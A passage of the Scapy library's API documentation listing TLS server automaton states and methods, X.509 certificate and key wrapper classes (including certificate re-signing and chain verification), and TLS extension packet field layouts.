ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_SERVERVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_CLIENTMASTERKEY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_MISSING_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_CLIENT': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_CLIENTFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_ADDED_CERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_ADDED_CERTIFICATEREQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_ADDED_CERTIFICATEVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_ADDED_ENCRYPTEDEXTENSIONS': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_ADDED_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_ADDED_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_HANDLED_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_HANDLED_HELLORETRYREQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_PREPARE_HELLORETRYREQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_PREPARE_SERVERFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_RECEIVED_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'tls13_WAITING_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'ADDED_CERTIFICATE': [], 'ADDED_CERTIFICATEREQUEST': [], 'ADDED_CHANGECIPHERSPEC': [], 'ADDED_SERVERDATA': [], 'ADDED_SERVERFINISHED': [], 'ADDED_SERVERHELLO': [], 'ADDED_SERVERHELLODONE': [], 'ADDED_SERVERKEYEXCHANGE': [], 'BIND': [], 'CLOSE_NOTIFY': [], 'CLOSE_NOTIFY_FINAL': [], 'FINAL': [], 'HANDLED_ALERT_FROM_CHANGECIPHERSPEC': [], 'HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE': [], 'HANDLED_CERTIFICATEVERIFY': [], 'HANDLED_CHANGECIPHERSPEC': [], 'HANDLED_CLIENTCERTIFICATE': [], 'HANDLED_CLIENTDATA': [], 'HANDLED_CLIENTFINISHED': [], 'HANDLED_CLIENTHELLO': [], 'HANDLED_CLIENTKEYEXCHANGE': [], 'INITIAL': [], 'INIT_TLS_SESSION': [], 'MISSING_CERTIFICATEVERIFY': [], 'MISSING_CHANGECIPHERSPEC': [], 'MISSING_CLIENTCERTIFICATE': [], 'MISSING_CLIENTFINISHED': [], 'MISSING_CLIENTHELLO': [], 'MISSING_CLIENTKEYEXCHANGE': [], 'NO_USABLE_CIPHERSUITE': [], 'PREPARE_SERVERFLIGHT1': [], 'PREPARE_SERVERFLIGHT2': [], 'RECEIVED_CLIENTDATA': [], 'RECEIVED_CLIENTFLIGHT1': [], 'RECEIVED_CLIENTFLIGHT2': [], 'SENT_SERVERDATA': [], 'SENT_SERVERFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_REQUESTCERTIFICATE': [], 'SSLv2_ADDED_SERVERDATA': [], 'SSLv2_ADDED_SERVERFINISHED': [], 'SSLv2_ADDED_SERVERHELLO': [], 'SSLv2_ADDED_SERVERVERIFY': [], 'SSLv2_CLOSE_NOTIFY': [], 'SSLv2_CLOSE_NOTIFY_FINAL': [], 'SSLv2_HANDLED_CLIENTCERTIFICATE': [], 'SSLv2_HANDLED_CLIENTDATA': [], 'SSLv2_HANDLED_CLIENTFINISHED': [], 'SSLv2_HANDLED_CLIENTHELLO': [], 'SSLv2_HANDLED_CLIENTMASTERKEY': [], 'SSLv2_MISSING_CLIENTCERTIFICATE': [], 'SSLv2_MISSING_CLIENTFINISHED': [], 'SSLv2_MISSING_CLIENTMASTERKEY': [], 'SSLv2_RECEIVED_CLIENTCERTIFICATE': [], 'SSLv2_RECEIVED_CLIENTDATA': [], 'SSLv2_RECEIVED_CLIENTFINISHED': [], 'SSLv2_RECEIVED_CLIENTMASTERKEY': [], 'SSLv2_SENT_REQUESTCERTIFICATE': [], 'SSLv2_SENT_SERVERDATA': [], 'SSLv2_SENT_SERVERFINISHED': [], 'SSLv2_SENT_SERVERHELLO': [], 'SSLv2_SENT_SERVERVERIFY': [], 'SSLv2_WAITING_CLIENTCERTIFICATE': [], 'SSLv2_WAITING_CLIENTDATA': [], 'SSLv2_WAITING_CLIENTMASTERKEY': [], 'TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'TLS13_HANDLED_CLIENTCERTIFICATE': [], 'TLS13_HANDLED_CLIENTFINISHED': [], 'TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY': [], 'TLS13_MISSING_CLIENTCERTIFICATE': [], 'WAITING_CLIENT': [], 'WAITING_CLIENTDATA': [], 'WAITING_CLIENTFLIGHT1': [], 'WAITING_CLIENTFLIGHT2': [], 'tls13_ADDED_CERTIFICATE': [], 'tls13_ADDED_CERTIFICATEREQUEST': [], 'tls13_ADDED_CERTIFICATEVERIFY': [], 'tls13_ADDED_ENCRYPTEDEXTENSIONS': [], 'tls13_ADDED_SERVERFINISHED': [], 'tls13_ADDED_SERVERHELLO': [], 'tls13_HANDLED_CLIENTHELLO': [], 'tls13_HANDLED_HELLORETRYREQUEST': [], 'tls13_PREPARE_HELLORETRYREQUEST': [], 'tls13_PREPARE_SERVERFLIGHT1': [], 'tls13_RECEIVED_CLIENTFLIGHT2': [], 'tls13_WAITING_CLIENTFLIGHT2': []}

	




	
tls13_ADDED_CERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_ADDED_CERTIFICATEREQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_ADDED_CERTIFICATEVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_ADDED_ENCRYPTEDEXTENSIONS(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_ADDED_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_ADDED_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_HANDLED_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_HANDLED_HELLORETRYREQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_PREPARE_HELLORETRYREQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_PREPARE_SERVERFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_RECEIVED_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_WAITING_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
tls13_no_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L877-L882]

	




	
tls13_no_Client_CertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L904-L908]

	




	
tls13_should_add_Certificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L801-L812]

	




	
tls13_should_add_CertificateRequest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L789-L795]

	




	
tls13_should_add_CertificateVerifiy()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L818-L822]

	




	
tls13_should_add_EncryptedExtensions()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L779-L783]

	




	
tls13_should_add_Finished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L828-L831]

	




	
tls13_should_add_HelloRetryRequest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L577-L593]

	




	
tls13_should_add_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L697-L767]

	




	
tls13_should_add_ServerHello_from_HRR()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L599-L601]

	




	
tls13_should_handle_Alert_from_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L856-L859]

	




	
tls13_should_handle_ClientCCS()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L872-L875]

	




	
tls13_should_handle_ClientCertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L899-L902]

	




	
tls13_should_handle_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L914-L917]

	




	
tls13_should_handle_ClientFlight2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L851-L854]

	




	
tls13_should_handle_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L263-L269]

	




	
tls13_should_send_ServerFlight1()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L837-L840]

	




	
verify_psk_binder(psk_identity, obfuscated_age, binder)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L607-L695]

	This function verifies the binder received in the ‘pre_shared_key’
extension and return the resumption PSK associated with those
values.

The arguments psk_identity, obfuscated_age and binder are taken
from ‘pre_shared_key’ in the ClientHello.






	
vprint_sessioninfo()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L141-L160]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.basefields

TLS base fields, used for record parsing/building. As several operations depend
upon the TLS version or ciphersuite, the packet has to provide a TLS context.




            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.cert

High-level methods for PKI objects (X.509 certificates, CRLs, asymmetric keys).
Supports both RSA and ECDSA objects.

The classes below are wrappers for the ASN.1 objects defined in x509.py.
By collecting their attributes, we bypass the ASN.1 structure, hence
there is no direct method for exporting a new full DER-encoded version
of a Cert instance after its serial has been modified (for example).
If you need to modify an import, just use the corresponding ASN1_Packet.

For instance, here is what you could do in order to modify the serial of
‘cert’ and then resign it with whatever ‘key’:

f = open('cert.der')
c = X509_Cert(f.read())
c.tbsCertificate.serialNumber = 0x4B1D
k = PrivKey('key.pem')
new_x509_cert = k.resignCert(c)





No need for obnoxious openssl tweaking anymore. :)


	
class scapy.layers.tls.cert.CRL(cert_path)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L792-L875]

	Bases: object

Wrapper for the X509_CRL from layers/x509.py.
Use the ‘x509CRL’ attribute to access original object.


	
import_from_asn1pkt(crl)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L798-L858]

	




	
isIssuerCert(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L860-L864]

	




	
show()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L870-L875]

	




	
verify(anchors)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L866-L868]

	








	
class scapy.layers.tls.cert.Cert(cert_path)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L603-L769]

	Bases: object

Wrapper for the X509_Cert from layers/x509.py.
Use the ‘x509Cert’ attribute to access original object.


	
encrypt(msg, t='pkcs', h='sha256', mgf=None, L=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L683-L685]

	




	
export(filename, fmt='DER')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L752-L760]

	Export certificate in ‘fmt’ format (DER or PEM) to file ‘filename’






	
import_from_asn1pkt(cert)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L609-L661]

	




	
isIssuerCert(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L663-L671]

	
	True if ‘other’ issued ‘self’, i.e.:
	
	self.issuer == other.subject


	self is signed by other













	
isRevoked(crl_list)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L727-L750]

	Given a list of trusted CRL (their signature has already been
verified with trusted anchors), this function returns True if
the certificate is marked as revoked by one of those CRL.

Note that if the Certificate was on hold in a previous CRL and
is now valid again in a new CRL and bot are in the list, it
will be considered revoked: this is because _all_ CRLs are
checked (not only the freshest) and revocation status is not
handled.

Also note that the check on the issuer is performed on the
Authority Key Identifier if available in _both_ the CRL and the
Cert. Otherwise, the issuers are simply compared.






	
isSelfSigned()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L673-L681]

	
	Return True if the certificate is self-signed:
	
	issuer and subject are the same


	the signature of the certificate is valid.













	
remainingDays(now=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L690-L725]

	Based on the value of notAfter field, returns the number of
days the certificate will still be valid. The date used for the
comparison is the current and local date, as returned by
time.localtime(), except if ‘now’ argument is provided another
one. ‘now’ argument can be given as either a time tuple or a string
representing the date. Accepted format for the string version
are:



	‘%b %d %H:%M:%S %Y %Z’ e.g. ‘Jan 30 07:38:59 2008 GMT’


	‘%m/%d/%y’ e.g. ‘01/30/08’ (less precise)







If the certificate is no more valid at the date considered, then
a negative value is returned representing the number of days
since it has expired.

The number of days is returned as a float to deal with the unlikely
case of certificates that are still just valid.






	
show()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L762-L766]

	




	
verify(msg, sig, t='pkcs', h='sha256', mgf=None, L=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L687-L688]

	








	
class scapy.layers.tls.cert.Chain(certList, cert0=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L882-L1014]

	Bases: list

Basically, an enhanced array of Cert.


	
verifyChain(anchors, untrusted=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L923-L943]

	Perform verification of certificate chains for that certificate.
A list of anchors is required. The certificates in the optional
untrusted list may be used as additional elements to the final chain.
On par with chain instantiation, only one chain constructed with the
untrusted candidates will be retained. Eventually, dates are checked.






	
verifyChainFromCAFile(cafile, untrusted_file=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L945-L968]

	Does the same job as .verifyChain() but using the list of anchors
from the cafile. As for .verifyChain(), a list of untrusted
certificates can be passed (as a file, this time).






	
verifyChainFromCAPath(capath, untrusted_file=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L970-L995]

	Does the same job as .verifyChainFromCAFile() but using the list
of anchors in capath directory. The directory should (only) contain
certificates files in PEM format. As for .verifyChainFromCAFile(),
a list of untrusted certificates can be passed as a file
(concatenation of the certificates in PEM format).










	
class scapy.layers.tls.cert.PrivKey(key_path=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L439-L478]

	Bases: object

Parent class for both PrivKeyRSA and PrivKeyECDSA.
Provides common signTBSCert() and resignCert() methods.


	
resignCert(cert)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L468-L470]

	Rewrite the signature of either a Cert or an X509_Cert.






	
signTBSCert(tbsCert, h='sha256')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L445-L466]

	Note that this will always copy the signature field from the
tbsCertificate into the signatureAlgorithm field of the result,
regardless of the coherence between its contents (which might
indicate ecdsa-with-SHA512) and the result (e.g. RSA signing MD2).

There is a small inheritance trick for the computation of sigVal
below: in order to use a sign() method which would apply
to both PrivKeyRSA and PrivKeyECDSA, the sign() methods of the
subclasses accept any argument, be it from the RSA or ECDSA world,
and then they keep the ones they’re interested in.
Here, t will be passed eventually to pkcs1._DecryptAndSignRSA.sign().






	
verifyCert(cert)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L472-L478]

	Verifies either a Cert or an X509_Cert.










	
class scapy.layers.tls.cert.PrivKeyECDSA(key_path=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L551-L579]

	Bases: PrivKey

Wrapper for ECDSA keys based on SigningKey from ecdsa library.
Use the ‘key’ attribute to access original object.


	
fill_and_store(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
import_from_asn1pkt(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
sign(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
verify(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	








	
class scapy.layers.tls.cert.PrivKeyRSA(key_path=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L481-L548]

	Bases: PrivKey, _EncryptAndVerifyRSA, _DecryptAndSignRSA

Wrapper for RSA keys based on _DecryptAndSignRSA from crypto/pkcs1.py
Use the ‘key’ attribute to access original object.


	
fill_and_store(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
import_from_asn1pkt(privkey)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L528-L540]

	




	
sign(data, t='pkcs', h='sha256', mgf=None, L=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L547-L548]

	




	
verify(msg, sig, t='pkcs', h='sha256', mgf=None, L=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L542-L545]

	








	
class scapy.layers.tls.cert.PubKey(key_path=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L256-L268]

	Bases: object

Parent class for both PubKeyRSA and PubKeyECDSA.
Provides a common verifyCert() method.


	
verifyCert(cert)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L262-L268]

	Verifies either a Cert or an X509_Cert.










	
class scapy.layers.tls.cert.PubKeyECDSA(key_path=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L334-L362]

	Bases: PubKey

Wrapper for ECDSA keys based on the cryptography library.
Use the ‘key’ attribute to access original object.


	
encrypt(msg, h='sha256', **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L351-L353]

	




	
fill_and_store(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
import_from_der(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
verify(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	








	
class scapy.layers.tls.cert.PubKeyRSA(key_path=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L271-L331]

	Bases: PubKey, _EncryptAndVerifyRSA

Wrapper for RSA keys based on _EncryptAndVerifyRSA from crypto/pkcs1.py
Use the ‘key’ attribute to access original object.


	
encrypt(msg, t='pkcs', h='sha256', mgf=None, L=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L325-L327]

	




	
fill_and_store(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
import_from_asn1pkt(pubkey)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L320-L323]

	




	
import_from_tuple(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
verify(msg, sig, t='pkcs', h='sha256', mgf=None, L=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L329-L331]

	








	
scapy.layers.tls.cert.der2pem(der_string, obj='UNKNOWN')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L80-L89]

	Convert DER octet string to PEM format (with optional header)






	
scapy.layers.tls.cert.pem2der(pem_string)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L92-L104]

	Convert PEM string to DER format






	
scapy.layers.tls.cert.split_pem(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/cert.py#L107-L125]

	Split PEM objects. Useful to process concatenated certificates.








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.extensions

TLS handshake extensions.


	
class scapy.layers.tls.extensions.OCSPStatusRequest(_pkt, /, *, respidlen=None, respid=[], reqextlen=None, reqext=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L348-L360]

	Bases: Packet

This is the structure defined in RFC 6066, not in RFC 6960!


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESPIDLEN           |             RESPID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           REQEXTLEN           |             REQEXT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OCSPStatusRequest                      


OCSPStatusRequest fields






	respidlen

	FieldLenField

	None



	respid

	PacketListField

	[]



	reqextlen

	FieldLenField

	None



	reqext

	PacketField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L359-L360]

	








	
class scapy.layers.tls.extensions.ProtocolListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L511-L514]

	Bases: PacketListField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L512-L514]

	








	
class scapy.layers.tls.extensions.ProtocolName(_pkt, /, *, len=None, protocol=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L501-L508]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |            PROTOCOL           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ProtocolName                         


ProtocolName fields






	len

	FieldLenField

	None



	protocol

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L507-L508]

	








	
class scapy.layers.tls.extensions.ResponderID(_pkt, /, *, respidlen=None, respid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L338-L345]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESPIDLEN           |             RESPID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ResponderID                         


ResponderID fields






	respidlen

	FieldLenField

	None



	respid

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L344-L345]

	








	
class scapy.layers.tls.extensions.ServerLenField(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = 'H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L197-L206]

	Bases: FieldLenField

There is no length when there are no servernames (as in a ServerHello).


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L202-L206]

	








	
class scapy.layers.tls.extensions.ServerListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L191-L194]

	Bases: PacketListField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L192-L194]

	








	
class scapy.layers.tls.extensions.ServerName(_pkt, /, *, nametype=0, namelen=None, servername=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L180-L188]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NAMETYPE   |            NAMELEN            |   SERVERNAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. ServerName                          


ServerName fields






	nametype

	ByteEnumField

	0



	namelen

	FieldLenField

	None



	servername

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L187-L188]

	








	
class scapy.layers.tls.extensions.TACertSHA1Hash(_pkt, /, *, idtype=3, id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L294-L300]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IDTYPE    |                       ID                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
